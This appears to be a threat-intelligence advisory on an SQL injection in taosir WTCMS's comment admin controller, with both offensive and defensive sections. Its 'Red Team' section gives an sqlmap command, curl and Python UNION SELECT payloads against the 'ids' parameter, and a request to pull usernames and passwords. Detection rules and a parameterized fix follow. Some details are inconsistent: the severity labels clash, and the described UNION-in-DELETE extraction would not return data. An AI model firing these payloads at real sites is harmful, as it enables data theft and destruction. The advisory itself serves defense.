CVE-2025-13783

Executive Summary

CVE-2025-13783 is a critical SQL injection vulnerability discovered in the taosir WTCMS content management system, specifically within the CommentadminController component. The flaw resides in the check, uncheck, and delete functions of the application/Comment/Controller/CommentadminController.class.php file. By manipulating the ids argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or deletion. The vendor has not responded to disclosure, and no official patch is available. The exploit has been publicly released, increasing the risk of active exploitation.

This vulnerability is particularly dangerous because it affects a CMS that uses a rolling release model, making version tracking and patch management difficult. The lack of vendor response and public exploit availability elevates this to a high-priority threat for any organization using taosir WTCMS.

CVSS Breakdown & Threat Level

CVSS Score: 6.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure is possible.
• Integrity (I): Low – Limited data modification is possible.
• Availability (A): Low – Limited service disruption is possible.

Threat Level: High – Due to public exploit availability, no patch, and unauthenticated remote access.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the CommentadminController class. The check, uncheck, and delete functions accept an ids parameter from HTTP requests (likely POST or GET). This parameter is directly concatenated into SQL queries without proper sanitization or parameterization.

Vulnerable Code Path:

1. The controller receives a request to perform an action (check, uncheck, delete) on one or more comments.
2. The ids parameter is extracted from the request.
3. This value is directly embedded into a SQL query, e.g., DELETE FROM comments WHERE id IN ($ids).
4. An attacker can inject SQL syntax by providing a crafted ids value, such as 1 OR 1=1, to manipulate the query logic.

Example Attack Vector:

• Normal request: POST /index.php?c=Commentadmin&a=delete&ids=1,2,3
• Malicious request: POST /index.php?c=Commentadmin&a=delete&ids=1 UNION SELECT username,password FROM users

The rolling release model means that even if a fix is later committed, users may not receive it automatically unless they pull the latest changes. The vendor's unresponsiveness further complicates remediation.

Vulnerable vs. Patched Code

Since no official patch exists, we can only describe the vulnerable pattern and the recommended fix.

Vulnerable Code (Conceptual):

public function delete() {
    $ids = $_POST['ids'];
    $sql = "DELETE FROM comments WHERE id IN ($ids)";
    $this->db->query($sql);
}

Patched Code (Recommended):

public function delete() {
    $ids = $_POST['ids'];
    // Validate that $ids is an array of integers
    if (!is_array($ids)) {
        $ids = explode(',', $ids);
    }
    $ids = array_map('intval', $ids);
    $placeholders = implode(',', array_fill(0, count($ids), '?'));
    $sql = "DELETE FROM comments WHERE id IN ($placeholders)";
    $stmt = $this->db->prepare($sql);
    $stmt->execute($ids);
}

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of taosir WTCMS (commit 01a5f68a3dfc2fdddb44eed967bb2d4f60487665) in a controlled environment.
2. Ensure the web server (e.g., Apache/Nginx) and MySQL/MariaDB are running.
3. Create a test user and a few comments to have data to manipulate.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /index.php?c=Commentadmin&a=delete
2. Send a malicious request with SQL injection payload in the ids parameter.
3. Example using sqlmap:

   sqlmap -u "http://target/index.php?c=Commentadmin&a=delete" --data="ids=1" --batch --dbs
   

4. Manual exploitation:

   curl -X POST http://target/index.php?c=Commentadmin&a=delete -d "ids=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
   

Proof of Concept (PoC):

import requests

target = "http://target/index.php"
params = {"c": "Commentadmin", "a": "delete"}
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
data = {"ids": payload}

response = requests.post(target, params=params, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests to CommentadminController with suspicious ids parameters containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Use WAF rules to block common SQL injection patterns.

Hunting:

• Search web server logs for requests matching: POST /index.php?c=Commentadmin&a=(check|uncheck|delete)
• Analyze the ids parameter for non-numeric characters or SQL syntax.

Containment:

• If exploitation is suspected, immediately block the offending IP addresses.
• Disable the vulnerable controller temporarily by renaming or removing the file.
• Restrict access to the admin panel using network segmentation or VPN.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /index.php?c=Commentadmin&a=delete (or check/uncheck) with ids parameter containing SQL keywords.
• Unusual SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Modified database entries in the comments table.
• Unexpected files in the web root (e.g., webshells).

Log IOCs:

• Web server logs showing repeated requests to the vulnerable endpoint with varying ids values.
• Database logs showing unexpected queries (e.g., UNION SELECT statements).

Detection Engineering

YARA Rule

rule CVE_2025_13783_SQLi_CommentadminController {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-13783 in taosir WTCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13783"
    strings:
        $s1 = "CommentadminController" nocase
        $s2 = "ids=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "1=1" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against taosir WTCMS CommentadminController
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-13783
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'c=Commentadmin'
        cs-uri-query|contains: 'a=delete'
        cs-uri-query|contains: 'ids='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR'
        - '1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of comment IDs containing these strings (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-13783 - SQL Injection in taosir WTCMS CommentadminController";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php"; http_uri;
    content:"c=Commentadmin"; http_uri;
    content:"a=delete"; http_uri;
    content:"ids="; http_client_body;
    pcre:"/(UNION|SELECT|OR|1=1|--)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-13783;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable controller: Rename or remove application/Comment/Controller/CommentadminController.class.php until a patch is available.
2. Implement a Web Application Firewall (WAF): Block requests containing SQL injection patterns in the ids parameter.
3. Restrict network access: Limit access to the admin panel to trusted IPs only.

Long-term Fix:

• Apply input validation and parameterized queries as shown in the patched code example.
• Monitor the vendor's repository for any future commits that address this issue.
• Consider migrating to a different, actively maintained CMS if the vendor remains unresponsive.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging for all admin panel requests.
• Regularly review logs for signs of exploitation.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert